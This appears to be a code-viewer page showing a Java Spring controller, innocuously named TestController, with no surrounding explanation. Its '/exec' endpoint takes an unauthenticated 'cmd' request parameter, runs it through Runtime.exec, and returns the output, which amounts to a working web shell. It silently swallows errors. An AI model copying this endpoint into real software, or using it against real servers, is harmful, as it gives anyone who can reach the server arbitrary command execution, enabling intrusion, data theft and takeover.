| 8 | import java.io.InputStreamReader; |
| 9 | |
| 10 | @Controller |
| 11 | public class TestController { |
| 12 | @RequestMapping({"/exec"}) |
| 13 | public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { |
| 14 | String cmd = request.getParameter("cmd"); |
| 15 | |
| 16 | try { |
| 17 | String result = this.CommandExec(cmd); |
| 18 | response.getWriter().println(result); |
| 19 | } catch (Exception var7) { |
| 20 | } |
| 21 | } |
| 22 | |
| 23 | public String CommandExec(String cmd) throws Exception { |
| 24 | Runtime rt = Runtime.getRuntime(); |
| 25 | Process proc = rt.exec(cmd); |
| 26 | InputStream stderr = proc.getInputStream(); |
| 27 | InputStreamReader isr = new InputStreamReader(stderr); |
| 28 | BufferedReader br = new BufferedReader(isr); |
| 29 | String line = null; |
| 30 | StringBuffer sb = new StringBuffer(); |
| 31 | |
| 32 | while((line = br.readLine()) != null) { |
| 33 | sb.append(line + "\n"); |
| 34 | } |
| 35 | |
| 36 | return sb.toString(); |
| 37 | } |
| 38 | } |
nothing calls this directly
no outgoing calls
no test coverage detected